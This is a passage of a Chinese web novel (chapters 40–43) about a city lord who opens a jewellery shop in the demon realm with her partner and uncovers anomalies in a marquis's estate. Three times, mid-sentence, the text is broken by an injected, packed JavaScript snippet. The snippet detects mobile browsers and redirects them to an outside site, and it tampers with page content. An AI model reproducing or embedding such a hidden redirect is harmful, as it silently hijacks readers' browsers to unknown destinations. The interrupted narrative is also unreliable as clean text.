沈卿缘摊手:“他们捣乱,我们放风筝嘛,谁都有在乎的东西,不是吗?” 茉茉汇报仙市近况后,顺带一提:“最新的一批文书我给你发过来了,你记得一盏茶后出城向东五里大树下接收一下。” 沈卿缘:“我在忙呢。这送货仙鹤这么不懂事的吗?” 茉茉无语:“我的城主大人哎,仙鹤本来就是畜生,不懂事的,只会听话帮忙送货。” 沈卿缘一旦开始做事,并不喜欢中途打断转而做另一件事。 因为不只是一时半刻的间断,而是会影响做事的思路和节奏。 就在这时,大门处一声“吱呀”的声音。 沈卿缘双眼一亮:“是殷夏回来了。” 茉茉揶揄地看了她一眼。 沈卿缘冲她说了声等会儿聊,就趴在二楼栏杆上喊住殷夏。 殷夏将储物袋中的各个橱窗和展示柜放在了地上,随后也不管现场一片乱七八糟,一个闪身就到了沈卿缘面前,眼神关切。 沈卿缘无辜道:“最新一批的文书被送来了,马上就到。但是我的新品还没做完。” 殷夏点点头:“你继续忙新品,我去拿。” 沈卿缘啄了下他的耳垂,不顾他慌忙捂着耳朵的窘态,笑眯眯地将他带到水镜旁。 “茉茉,位置在哪来着,告诉他一下。” 镜子另一边的茉茉翻了个白眼,显然看到了殷夏只红了一只的耳朵。 她捂着嘴巴以免被他俩的甜蜜秀吐,但还是本着代城主的职业道德,面无表情地将位置重复了一遍。 殷夏冲着茉茉礼貌地点点头,随后就没影了。 茉茉有些惊奇地看着殷夏消失的背影:“怎么一段时间不见,沉稳了这么多。” 沈卿缘头都没抬,继续方才没做完的事情,随口道:“莫非是结契的功效?” 茉茉捂脸:“我还没有道侣呢!对我好点,不然代城主这么累的活我要撂挑子了。” 沈卿缘微笑:“莫急,我在魔域开店赚钱呢,回去多带点魔晶给你,再让你放个长假。” 茉茉不可置信地抱胸道:“别别别,祖宗哎,你给我魔晶干什么?去魔域接你的班?你别想!” 沈卿缘是真的笑了:“你只管旅游,别乱想。这边有意思的很,酒酿小圆子很好吃,凝雪花也很漂亮,我已经定了一批准备做香薰蜡烛了。” 茉茉满头问号:“批假让我来玩可以,但香薰蜡烛这么新奇的东西,我们仙市都没有,你怎么这么偏心,只给魔域供货?” 沈卿缘听了这个问题有点头秃:“这边是为了开业做赠品提高人气的,等我回仙市,直接大量生产明码标价。” 茉茉:“你最好说到做到。” 沈卿缘垂着长长的睫毛,专心致志地往烧得发软的手镯上雕刻最后的花纹。 手稳得不行,一笔勾成。 “放心吧我的好姐妹,肯定说到做到,回去还给你带特产。” 41. 第 41 章 沈卿缘将做好的镯子静置至冷却,这是第一套首饰中的最后一个单件。 之后一边动作熟练地进行最后一步的抛光,一边有一搭没一搭地跟茉茉闲聊。 不知道怎么的就扯到了道侣大典的话题上。 水镜那边的茉茉正窝在一张看起来就很舒服的躺椅上,惬意地喝着香气扑鼻的花茶。 她忽然坐直了些,露出一个幸灾乐祸的表情:“你是仙市之主,又已经与殷夏结契,那以后他不就是我们的城主夫人了吗?” 沈卿缘动作一顿,微微蹙眉道:“是这个理,但是可别在他面前这么喊他,他大概会被吓到,甚至可能拒绝跟你说话。” 关于这一点,她刚刚有了切实深刻的体会。 只能希望茉茉能听进去她所说的话。 茉茉歪了歪脑袋,不满道:“刚刚我还夸他成熟稳重呢,结果现在连个城主夫人都叫不得?” 沈卿缘摇了摇头:“要徐徐图之。” 茉茉若有所思:“可他以前女装的时候也没这样……在芙蓉阁里的展台卖货也是胸有成竹滔滔不绝的啊。” 她话锋一转,“怎么越跟你在一起,反倒变得越害羞了呢。” 沈卿缘飞了记眼刀给她:“不要想把责任推给我,我是不会承认的。” 茉茉笑了一声:“行行行,我相信你是温婉又含蓄的城主大人,并没有对殷夏伸出你的魔爪。” 沈卿缘粗粗抛光了一遍,现在开始细致地擦拭镯子表面,直至手中的镯子一点点变得闪亮起来。 “那叫青睐有加。另外,待会儿我将制作工艺要点告诉你,你记录下来后,直接让仙市里的炼器师们批量做二十个带过来。” 茉茉惊呼:“好家伙,仙市的货都快不够了,还要给你这边供货?” 沈卿缘冷静地开口:“他们没得选择。好好干活,双倍奖金。” 茉茉看到手中握着的那只镯子已经完工,工艺复杂、风格奢华,有一种浑然天成的不羁感。 于是抛了个媚眼过来:“奖金够了,速度自然能提上来。图纸呢?要点呢?快点讲完,我好立刻、马上让他们去办。” 沈卿缘:“不急,还有两件,应该天黑前就能做完。而且做完后,整个月我都不用再碰一下炉子了。” 茉茉挑眉:“你这人灵感说来就来的吗?一下午做一个月的量?” 沈卿缘摊手:“没办法,开店嘛,辛苦点是应该的。” 茉茉问号脸:“谁关心你辛苦不辛苦了?我的重点是这个吗?!” * 月幽城外。 送货仙鹤没有茉茉说得那么准时。 殷夏在她所说的地点等了一会儿,才看到一只灰色麻点的小鸟姗姗来迟。 他一直以为的送货仙鹤是一只白色羽毛的大肥鸟拉着一辆车在天上飞。 实际上仙鹤只是茉茉取的昵称。 直到看到才会明白过来,这其实是一种妖兽。 看似小巧玲珑,但飞行迅疾猛烈,不易被察觉,堪称长途跋涉运货必备。 见到殷夏后,这只小鸟扑闪了两下翅膀,在殷夏头上扔来一张隐身符,随后一头扎进符咒的范围内,落在地上变为人形。 他跟殷夏核对了货物细节和寄货收货之人,确认无误后,才将脖子上挂着的储物袋交给他。 殷夏发现袋子上的那道封印严密无比。 他好奇地问这只化作人形后小小一只的仙鹤:“其实我是帮人代收的,若是此刻将它强行打开会怎样?” 仙鹤大而圆的眼睛狠狠瞪了他一眼:“储物袋会自爆,你要是想开,离我远点。” 殷夏摸了摸鼻尖。 他其实就是随口一说。 将储物袋放进袖子里,换了个路线往回走。 现在正好是各个铺子开晚市的时间,殷夏在回途中顺道给沈卿缘带了些她喜欢的吃食。 回到店内,进门后一切都静悄悄的,只有偶尔传来的锻造捶打声。 进门一看,沈卿缘在埋头干活,一声不吭。 殷夏将取到的储物袋递给她。 她双手都在忙,看了他一眼并示意他放在工作台旁。 随后看到了他另一只手上的纸袋。 “烤鸭?是脆皮的吗?” “对,老板说不脆不要钱。” 魔修真是性情中人,张口就是不要钱。 随后他往楼下一挥袖袍,两只凳子笔直地飞了上来,先往沈卿缘身后递了一个,自己坐了一个。 然后撕了一块带着大片脆皮的肉片,喂到沈卿缘的嘴边。 沈卿缘歪头,飞快叼走了嘴边的肉。 殷夏紧接着又撕下一片。 沈卿缘毫不客气,再次一口叼走。 直到殷夏手中的烤鸡都是冒着油光的纯肉,没有一点点脆皮了,他才将这只鸡拆出来的骨架收拢起来,归在一边,将剩下的烤鸡吃完。 茉茉目瞪口呆地看着殷夏给沈卿缘分了大半的烤鸡,觉得自己的嘴巴也很需要烤鸡嚼一嚼。 “第二个图纸画完了没。”她催促沈卿缘。 没想到刚一出声。 殷夏猛地抬头看向她。 刚刚在殷夏出门之后,沈卿缘为了画图方便,将水镜挪到了另一个方向。 殷夏发现,镜子中茉茉正将一张大脸对着自己……不对,是对着自己手中的烤鸡,吞着口水。 “这个好吃吗?” 茉茉伸手指了指他刚刚撕下的一块鸡胸肉,咽了咽口水。 殷夏看着手里的肉,如实答道:“挺好吃的。” 好吃个头! 现在她更馋了怎么办啊,好饿啊! 茉茉窒息地将水镜往桌面上一扣,于是沈卿缘那边只能听到她的声音,看不到她那边的画面了。 她先是听到茉茉跳下躺椅的吱呀一声,后来是窸窸窣窣的衣料相碰的摩擦声与一阵脚步声。 饿得眼冒绿光的茉茉开始消极怠工:“你慢慢画图样吧,我要出门吃饭了。” 沈卿缘大概猜到她要去做什么,却还是故意问道:“再喝些花茶陪我啊?” 茉茉以掌面覆盖整面水镜:“等我吃完晚饭再说,尤其是烤鸡,我今天吃定了!” 随着水镜光芒转暗,沈卿缘这边被单向关闭了。 想想刚才的事,茉茉忍不住翘起唇角。 茉茉今天受到的刺激确实有点大。 不过嘛,食物能治愈创伤,吃完烤鸡后,大概一切就好了。 * 新品共三套,可单卖可拆分。 按照每套二十件做出来后,一共六十套,拆开卖则是一百八十个单件,每个都单独用木盒摆放。 这样算来数量确实很多,这么大的铺子刚好够用。 茉茉不但出去吃了一顿大餐,一个人撕了整只烤鸡,回去之后还泡了会温泉。直到星星挂满了天空,才点开水镜,露出一张酒足饭饱的笑脸。 沈卿缘感受到水镜的波动,将水镜点开。 茉茉一转眼就看到城主在给殷夏戴着什么闪着光的东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049717|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定睛一看,好家伙,又是一套新品。 她敲敲镜子,难以置信地问:“你还真在这么短的时间内,又做了一套啊?” 沈卿缘摇头:“两套。连你走之前做完的那套,一共三套。这个月的量完工了。” 她将手上的三只新品,轮流给殷夏戴上,以便看具体的效果。 还真发现了一些只有试戴后才能知道的瑕疵。 沈卿缘将首饰全部取下来,用三个盒子装好,然后在水镜里将具体的图样发给茉茉,并将具体细节说明清楚。 “总之如果在实际铸造中有什么不清楚的,继续来问我便是。” “好吧。我只负责记录下来,铸造还是得让那些炼器师来。” “以最快的速度做好送过来,最多一周,到时候我就得开业了,连花都定好了。” “我会催的,死命地催。” 之后茉茉又将殷夏叫靠近一点,仔细地问了他的身长,又描摹了遍他的身形。直到将视线转到他的脸上,她开始面露难色。 于是大声呼唤沈卿缘。 沈卿缘在水镜里露出半张脸:“怎么了?” 茉茉一脸纠结:“他原来的脸是什么样来着,我还得给傀儡娃娃化妆,结果你竟然把他容貌封起来了不给人看?小气的女人。” 沈卿缘有些哑巴吃黄连,但解释起来又太麻烦。 只能含糊道:“幻化出来给你看不就好了嘛。” 随着一阵灵光涌动,在茉茉眼中,殷夏的脸终于恢复了原样。 她双手捧脸,有些陶醉:“还是看着这样的脸让人神清气爽啊。” 沈卿缘拍拍镜子:“别沉迷了,好好干活。” 茉茉哼唧:“小气鬼!” 她嘴里哼哼唧唧,手上却没停,傀儡娃娃的脑袋在她手中就像面团似的搓圆揉扁。 殷夏无事,便随地扔了个蒲团打坐。 任茉茉看来看去,一动不动。 沈卿缘将三套新品的草稿整理出来,在亲手做的成品里选了一套最好看的,趁殷夏打坐的时候悄悄给他戴上。 当殷夏从打坐中醒来,面前的水镜早已暗淡了下去。 他走出房间,找到了在一楼忙忙碌碌的沈卿缘。 展示柜都已经摆好,桌椅板凳也放在了合适的位置,正对大门的柜台也卡得严丝合缝。 整个店面已经初具规模。 殷夏摸了摸头发:“茉茉已经画完了吗?” 沈卿缘抬头看他:“对,今天晚上就可以出动。顶着你模样的傀儡娃娃可以好好陪那些人玩玩了,我们仙市也要尽一尽地主之谊。” 殷夏伸了个懒腰,忽然发觉手腕上是一串新首饰。 他惊喜又疑惑道:“你怎么偷偷把我原来的手链给换了?” 而且这幽绿色的细长方块连缀而成的手链,不是方才他看到的新品吗? 沈卿缘点头,明知故问道:“不只是手链。你不喜欢?” 殷夏无比宝贝地摸了摸银链上幽绿的宝石,答非所问:“这可是我看着你亲手做出来的。” 沈卿缘理所当然地嗯了一声。 却见殷夏忐忑道:“但好像是展品吧,给我戴着合适吗?” 沈卿缘没有这么想过。 她神色认真:“对我而言,首饰摆在柜子里就像一件死物,只有戴在你身上才会拥有灵魂。” 殷夏也想控制住自己的表情,至少要显得沉稳一点。 可在听见这样的漂亮话后,嘴角却忍不住上翘,再也压不下去了。 42. 第 42 章 七日后,沈卿缘在月幽城中如期开店,并挂上了定制的牌匾。 开业当天,西宁侯大小姐果然派人前来送上贺礼,巨大的礼物箱子上盖着红色绸缎,堆在门前的台阶上,分外引人注意。 她没想到的是,除了礼物外,向来纡尊降贵的大小姐也如约而至。 大小姐坐着气派的软轿,轿上镶金嵌玉,宝光四射,一路招摇,往新开的店铺方向而去。华美轿子的后面跟了乌泱泱的一片过来看热闹的魔修,将整条宽阔的街道围得水泄不通。 抬至店铺门口,轿子稳稳地停住,大小姐被侍女搀扶着款款下轿。 她换上了沈卿缘刚刚送至府上的新品首饰,一身薄如蝉翼的清凉裙装明显是与首饰搭配穿出的,效果拔群,加上雪腻的肤色,慵懒妩媚的眉眼,一下轿子周围的魔修安静了一片。 她红唇勾起,踩着优雅的步子走入店内,既热烈明艳又高不可攀,无人敢随意冒犯。 随着鞭炮声声,牌匾上的红布被揭下。 “玲珑斋”三个字如行云流水般出现在众人眼前。 店铺名字是殷夏取的,意为精致美观,也寄托着生意兴隆的美好愿景,沈卿缘觉得寓意不错,顺手就拿来用了。 震耳欲聋的鞭炮声中,大小姐用只有两个人能听到的声音对沈卿缘说。 “我此次前来可是专门为你造势的,你要怎么谢我?” 旁人都觉得这个掌柜的面子大得离谱,竟然还请到了西宁侯的大小姐前来参加开业庆典。 只有沈卿缘才知道这里面究竟是怎么回事。 大小姐打着一石二鸟的算盘,自己只是她手里招揽客流的一柄明晃晃的大旗罢了。 她含笑对大小姐点点头,脸上没有半分多余的表情。 周围的魔修眼神左瞟右看,却总在她跟大小姐讲话的时候把眼神挪过来,热切分明地盯住了她们两人。以为沈卿缘没看到,可他们的一举一动都被她看在了眼里。 沈卿缘想,魔界的这些魔修也这么八卦的嘛,和修仙界别无二致。 若是这里有八卦小报,想必也会卖到脱销。 牌匾已揭,鞭炮已放。 西宁侯大小姐笑盈盈地看了沈卿缘一眼,轻启红唇道:“祝你开业大吉。” 沈卿缘以手遮脸,挡住各色各样的视线:“那我祝大小姐财运亨通。” * 时间往后倒退两日。 茉茉日夜监工,仙市中所有的炼器师紧赶慢赶,终于将所有的新品备齐,有惊无险地送了过来。 店内的展示柜与木盒终于被漂亮的首饰摆满。 店内被打扫得一尘不染,香薰蜡烛放在了合适的位置,天黑时自有傀儡娃娃上前点燃。 开业时需挂上的牌匾与即将燃放的鞭炮都已经备齐,新鲜的盆栽娇艳欲滴,店外一片姹紫嫣红。 到处都是喜气洋洋的氛围。 * 时间往后倒退一日。 尽管开业在即,沈卿缘仍然亲自挑了三件成色最好的新品,依照当初的允诺,带着殷夏一起前往西宁侯府求见大小姐。 门外守卫严密,连一只蚊子都飞不进去。 沈卿缘上前一步求见大小姐。 经过层层通报,侯府厚如城墙的防御屏障开了道口子,两人进入后的瞬间就合上了。 一路山石嶙峋,建筑巍峨,脚下并非仙市中常见的鹅卵石小路,而是宽阔平整的砖石大路,而且整个砖石的色调都是红黑色的,就像是天然形成的黑中飘红的云纹,庄严之外还有几分神秘气息。 侍女带着他们往会客厅的方向走去。 大小姐在会客厅端着杯刚刚沏好的茶,从容等候。 沈卿缘进入会客大厅后,从空间中捧出一只古色古香的雕花托盘,上面早已覆着一层冰凉的丝绸,防止落入灰尘。 她将托盘呈上。 贴身侍女上前,将托盘端至大小姐的面前。 丝绸揭开的瞬间,满是生光。 托盘内的一套首饰璀璨夺目,轻易夺走了所有人的视线。四周的侍女忍不住也惊叹了一声,将托盘躬身举至头顶。 “请大小姐过目。” “帮我戴起来。” 大小姐伸出手,任由贴身侍女轻手轻脚地服侍自己。 送来的首饰为三件一套,分别是手镯,项链和脚链。 关于脚链的设计,沈卿缘也是有自己的思量。在考察了魔界的风俗之后,她发现魔修们大多不爱穿鞋,即使穿鞋也会露出大片光洁的脚背,越裸露越觉得好看。 这让她认为,其费尽心思设计指环,不如换成更加特别且少见的脚链更适合他们。 果然被她猜对了。 大小姐抬手欣赏了会手镯的花样,又踮起脚尖低头看了看足踝闪闪发光的精致链子,心情好极。 她夸赞道:“你这样好的手艺,在月幽城里说第二的话,没人敢说自己是第一了。还好没有被埋没在路边的小店里。” 不过,即使她只开了家路边小店,也不会被埋没的。 被发掘出来只是时间问题。 沈卿缘想,若不是那日她当街停轿,非要买下殷夏所戴的首饰,她也不一定会生出在魔域开个铺子的心思。 殷夏则在一旁默默不言。 大小姐上次当街停轿的那出让殷夏想起了容貌未被封印前的不好记忆。 于是回去之后他换了件更保守一点的衣服。 铺子里的衣服布料更少,少得夸张,连补救的余地都没有。 因此他换的不是新衣服,而是自己去成衣铺子里让人改的;而且先前戴在身上的首饰和后来沈卿缘送他的幽绿色一套新品,都被他收到空间里仔细保存了。 若是沈卿缘真的喜欢他戴首饰的样子,等以后回到仙市了,专门买一个首饰架子,每天换一套。 依照目前沈卿缘送他首饰的频率,凑齐一个首饰柜指日可待。 今日沈卿缘带着殷夏一起来侯府,刚出门时就发现了殷夏将领子改得更高了些。 他现在顶着自己给他设下的封印,整天素面朝天灰头土脸。身上的首饰也全卸掉了,全身上下一点亮闪闪的东西都没有。 ——戴漂亮首饰的男孩子,会显得精致,也会更加养眼,她喜欢这样的。 不成,这样的话,她得再多送一点漂亮首饰给他,让他知道自己的心意。 这对道侣毫无默契,却在得出的结论上意外地殊途同归。 殷夏今后打算将首饰柜格子全部放满的目标大概率能够实现。 今日前往侯府是两人一起。 但店内还需照看和打理。因此沈卿缘在临出门前抽了些空,熟门熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079843|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路地造了两个魔域风格的傀儡娃娃,还在穿衣打扮上稍微做得夸张了些。 之后在它们身上下好了对应的禁制。 炼器师向来奇思妙想,心灵手巧,做出傀儡并非稀罕事。 此时,傀儡娃娃们正在店里扫地抹桌,整理刚到的鲜花盆栽,并将不同颜色的鲜花搬到合适的位置。 非常听话,非常全能。 沈卿缘静静地陪着大小姐喝了一杯清茶后,挑了个时机向她报了这套首饰的价格。 大小姐也毫不含糊地,很快让侍女递上一只圆鼓鼓的储物袋。 储物袋本身就价格高昂,这里面的魔晶明显比自己报的价格还多出一些,大小姐阔绰惯了,并不会在衣服和首饰上吝啬,也从不为难商铺。 这笔买卖只赚不亏。 既然已经戴好了首饰,大小姐有些迫不及待地想回房配套合适的衣服。 她起身道:“辛苦你跑一趟了。来者是客,若是无事,可以去西宁侯府内后花园转转,这个时节里面的花都开得很好。” 沈卿缘点头:“那我们一定得去看看。” 她分外会看人脸色,当即拉起殷夏,跟大小姐拜别。 其实沈卿缘早就想进西宁侯府里转转了。 本来是打算趁着夜黑风高偷偷进来,但既然现下有了现成的机会,她当然不会放过。 沈卿缘告辞以后,向门口的侍女问清具体方位,便立刻前往大小姐所说的后花园。 一路上,虽然身边无人,但她能感受到有无数双视线一刻不停地观察着他们。这些都是西宁侯府上的守卫,一旦发现风吹草动,自然会就地擒拿。 她也没打算轻举妄动。 但沈卿缘和殷夏双双隐藏了修为,在这些守卫的眼中并没有太大的威胁;再说他们走的确实是后花园的方向,而且彼此谈笑风生,泰然自若,并没有任何不自然的表情或者动作。 因此等到他们到达后花园处,暗中的窥视已经少了很多。 守卫将警惕放松后,自然也不会再时刻盯着他们的一举一动,而是隔段时间看下他们在做什么 刚好方便沈卿缘留心查探一下四周。 月幽城内温度偏高,环境温暖潮湿,因此花卉是月幽城的特产之一。 而侯府中的花园更与外处不同,此处魔气盎然,且特别浓郁,透明的紫色丝丝缕缕地缠绕飘荡在花丛与湖水的上空,如云如雾。 身后是一片黑红云纹的巍峨建筑,在这样的背景下,此处浅紫雾气奇诡又美丽。 缤纷的花朵经过了工匠的精心修剪与打理,生机勃勃,一片繁荣;清风拂动间,在清澈见底的水中投下色彩明亮的倒影,如诗如画。 可在这斑斓的色彩中,却蓦然出现了一抹雪白的颜色。 沈卿缘瞳孔微微缩起,第六感已经向她亮起红灯。 她继续神色如常地缓步前行,暗地里却用神念传话给殷夏。 “我看到了凝雪花。此处不太对劲。你跟着我走,我带着你。” “嗯。” 红黑色的砖石小路上,殷夏拉起她的手,比她略少半步跟在后面。 外人看起来这对璧人郎情妾意,牵手赏花,恩爱甜蜜。 其实两人心中高高吊起,交叠的手里也是一片冷汗津津,全靠冷静无比的外表与精湛的演技在支撑着。 43. 第 43 章 若非沈卿缘见过真正的凝雪花,可能根本发现不了此处花朵的细微异常之处。 但凭着极高的目力与细致的观察能力,她发现,西宁侯府后花园中所种的凝雪花,花蕊尖端是星星点点的红色,而非那日在花市中所见的鹅黄色。 只有零星低矮的几株,默不作声地生长在紫雾缭绕的湖水边上。 幽幽浮动的紫色魔雾有着惑人心神的迷幻功效。 眼前明镜一般漂亮的湖水,虽看着清澈透明,但沈卿缘用神识试探过后,却意外发现这并不是普通的湖水,而是魔气经过压缩而形成的液态,其迷惑能力更是比其上漂浮着的紫色魔雾强上百倍。 想来工匠定期来此修剪花草,本应发现这几株不该出现在此的异常凝雪花,但因修为限制,加上魔雾的迷惑性太强,工匠们身处迷障而不自知,未能及时发现并上报。 时间一久,这些凝雪花竟然默不作声地开花了。 还让沈卿缘撞了个正着。 尽管湖面上的浓雾密度很高,换成旁人,眼中早已演变出千般幻境,可她神识清明,丝毫不受影响。 再往身后看去,整个花园也被封闭在一个由魔气构建的巨大罩子里,无法被花园之外的人发现并感知。 她忽然心头一凛,意识到一股强大的神识正潜伏着观察着这处,于是拽了拽殷夏的袖子,看上去体力不支,向殷夏靠去。 她轻声细语道:“夫君,就逛到此处吧,我觉得有些头晕。” 实则上殷夏听到的却是:“有强大修士在监视我们,不宜继续逛下去。” 他心领神会,顺势搂住她的腰,满脸担心的表情:“可能是这两天筹备铺子里的事情太过劳累了,我这就带你回去。” 殷夏手掌的热度顺着薄薄的布料直透肌肤,烫得沈卿缘身体一僵。 她看着他宛如工笔画一般勾勒出的漂亮眼睛,瞬间有些失神。 索性直接将脸埋在他的怀里。 殷夏扶着她转身往回走,穿过黑红色云纹的砖石小路,即将踏出这片花园的前一刻,识海忽然被搅动,像是被投了一颗石子一般,在其中荡出一重又一重的涟漪。 沈卿缘正闭着眼睛,她比殷夏更快地意识到——有人蓄意对他们的神识进行攻击。 下手还挺重。 一般情况下,以他们伪装出来的魔功修为,此时应该感觉脑子如密密麻麻的针扎一般,头痛欲裂,立刻人事不省。 于是沈卿缘停步,双手捂头,逼出几滴冷汗后,直接从殷夏怀中滑落在地上。 殷夏先是一脸慌乱地摸了摸妻子的额头,而后一手撑头,长眉紧皱,也学着沈卿缘的姿势,脑袋一歪倒在她的身上。 沈卿缘被压得暗暗磨牙。 看到远处的两人一动不动,花园外的暗处出现了两名黑衣人,他们根本不敢进入后花园中,怕被其中过于浓郁的魔气所影响,因此一直呆在外面。 此时一人抓着一个,提在手中回去复命。 再次睁眼,是在侯府大门口的圆柱旁。 一个鹅蛋脸的侍女在一旁默默等候着,看见他们终于转醒,上前提醒道。 “两位不知道,在我们侯府的花园逛得太久会累的,之后记得要好好休息哦。” 殷夏迷茫地嗯了一声。 他的表情毫不作伪,浑然天成,惹得侍女掩唇轻笑一声,心道又是两个毫不知情的可怜人。 于是向门口的侍卫摇了摇手绢。 就像来时一样,厚实的防护罩打开一条仅够一人通过的通道,两人快步通过。 再回头看,圆形的防护罩将整片侯府都囊括在内,堪称固若金汤。 两人对视一眼,继续往回店的方向走去。 心里却道:哪家府里会有这么厚的罩子。 可能魔修们都对这样的防御罩习以为常,以为西宁侯经历了魔主陨落、三侯征战,变得贪生怕死,成了一只缩头乌龟。 但事实证明,他是另有所图。 这防护罩中指不定在防着其他东西漏出去。 ……比如说,魔气。 从假装昏迷到现在为止,殷夏和沈卿缘当然是全程清醒的,尤其是在沈卿缘提醒他之后,他已经警惕心立刻提到了最大限度。 没想到之后却不痛不痒。 仅仅是针对他们而言的不痛不痒。 他和沈卿缘假装晕眩后,被带到这群暗卫的领头处,就好像咸鱼一样,被翻来覆去检查了一遍。 毕竟西宁侯府上的人并不知道他们的真正修为,所谓的试探与搜魂,都是雕虫小技,稍微骗骗他们便可。 他参照沈卿缘传来的神识画面,只是变了个视角,其余都跟她同步,伪造了一个魔域底层的形象。 实则神识清明,看着对方在虚假的画面中全神贯注,只觉得好笑。 在领头所看到的画面中,他们扮演的是一对身处底层、修为低微的魔修夫妇。 只不过妻子曾有缘在外学习过一段时间的炼器,加上本身有些天分,因此手中颇有些闲钱,攒了不少魔晶。 沈卿缘做出来的簪子,并没有发挥出自己十成十的水平,只维持在两三分。 之前她一次性将本月所有新品炼制出来后,还敲敲打打了一会儿,就是为了多增加一些瑕疵,并将瑕疵做成技艺不精的效果。 在搞出最真实的瑕疵感这步上,反而花了她最多的时间。 将两人搜魂后,领头的魔修皱着眉头想:这对夫妇着实没什么大用。 男魔修成日只知道围着自己妻子晃悠,妻子让他做什么就做什么,简直没点心气。 而女魔修不是在筹备铺子开业的事宜,就是在炼器房里敲敲打打,日子过得枯燥无味得很。 最终确认了他们真的是魔修,不仅日常里并没有什么不对劲的地方,而且身上带着证明他们身份的黑色玉牌后,领头才暂时放下戒心,收回了一直压制他们的神识。 他查不出来什么,又顾及到大小姐还想利用两人打开市场,因此对手下暗卫们摆摆手,示意将他们给带走,别继续放在自己面前碍眼。 先前的那群暗卫领命后,将两人带回西宁侯府的大门口,让两人往朱红色的圆柱上靠住,随后一个蹬地,再次消失无形。 暗处走出一个侍女,等着他们悠悠转醒。 这便是殷夏睁眼后看到的那一幕。 之后离开西宁侯府,一路安静走回店铺,两人各自想着事情,相对无言。 不过殷夏也进一步相信了沈卿缘的判断。 在他看来,西宁侯府这番作为很好地说明了什么叫做越描越黑。 原本沈卿缘亲自上门送新品,只是心中存疑,而现在基本是认定西宁侯府中肯定存在着巨大的秘密。 否则连一个进府送货的普通商人都要如此仔细地检查一遍,就算今日沈卿缘没有发现红蕊的凝雪花也说不过去。 今日是开业前的最后一天,明日开业的所有准备沈卿缘都已经检查过一遍。 傀儡娃娃在她不在店内的时候也有好好干活,而且成果显著,又为两个小傀儡各自加了些灵石作为启动的能源。 也算是它们一番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114292|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛苦后的加餐了。 * 开业第一天太忙,虽然沈卿缘前一天去过西宁侯府后察觉到了些许线索,但抽不出空前去调查。 直至第二天。 第一天后,店里的事情沈卿缘几乎放手不管,全部都交给小傀儡们忙前忙后,只有在回店的时候顺便查看一下经营的情况。 店里的首饰定价是偏高的,按套买比分别买便宜一些,但一套的价格对于普通魔修来说是天价数字,因此反而拆分卖出的成交量高。 这也在她的考虑之内,本来做的就不多,工艺有繁琐复杂,价格自然要提高一点。 她本就没有打算太快地将首饰全部卖出,至少得撑到她下一次做出的新品从仙市送来。 不过有意思的是,她做的竹筒蜡烛在月幽城非常受欢迎。 首饰漂亮但价格昂贵,很多魔修望而却步。 而竹筒蜡烛虽然本意是作为赠品,但因为颇有创意且香气宜人,加上香型又多。 由于问的人太多,于是也对外售卖了。虽然比普通蜡烛更贵一些,但因为跟首饰相比后的价格非常亲民,因此反而销量很好。 成了本店的热销产品。 至少每天都能有一两笔售卖首饰的大额进账,也有零碎蜡烛售卖的小额进账,租金又是免费的,收入颇丰。 沈卿缘得以腾出手来,继续寻找线索。 这天她先是去了花市,想要定一捧最新鲜的凝雪花。 花市掌柜刚好在田里,于是小童领着着她去了花田,让她自己挑一把最喜欢的,跟老板结账便可。沈卿缘得以近距离地分辨此处凝雪花与花园中的不同之处。 她一眼看到徘徊在凝雪花丛里的掌柜。 他个子矮小,眼睛有些圆,凸起的肚腩尤为醒目,看起来就好像窝在一捧柔软洁白的新雪里的鼹鼠。 沈卿缘捂住嘴巴让自己不要笑出声。 慢慢走上前去,直至掌柜回头看到她。 她摸了摸其中的一片雪白花瓣,乘机向掌柜问出了自己的疑虑:“凝雪花的颜色除了白色以外,还有其他的吗?” 掌柜虽不知她问话的意思,仍是摇了摇头。 这就是没有的意思了。 但沈卿缘仍有疑虑:“若是花瓣只有白色,那花蕊呢?” 掌柜脸色有些发白,显然是想到了些不好的事情。 他从花田中慢慢往田埂上走去,拍了拍沾了花粉的衣袖,语气中稍带警告。 掌柜说:“正常情况下,凝雪花只有眼前你看到的白花黄蕊。若是花蕊变色了,在以前月主并未陨落的时代,象征着月主之怒,也代表着魔域灵气出现了极大的问题。” “月主的陨落与之有关吗?” “这我可不知道,但是月主陨落的前夕,魔气确实发生了极大的混乱,造成修行上的瓶颈与困难。” 这件事很多修炼时间稍长一些的魔修都能切身感受到。 不过掌柜思忖着,眼前的女子年岁不大,修为也一般,可能并不知道这件事。 沈卿缘抬手摘了一束:“今天我要带一束凝雪花看望一个人,烦请掌柜帮我包扎得漂亮一些。” 掌柜笑得皱纹舒展起来:“喜欢凝雪花的年轻人可不多了,你算一个。我肯定会帮你把花儿包得漂漂亮亮的。” 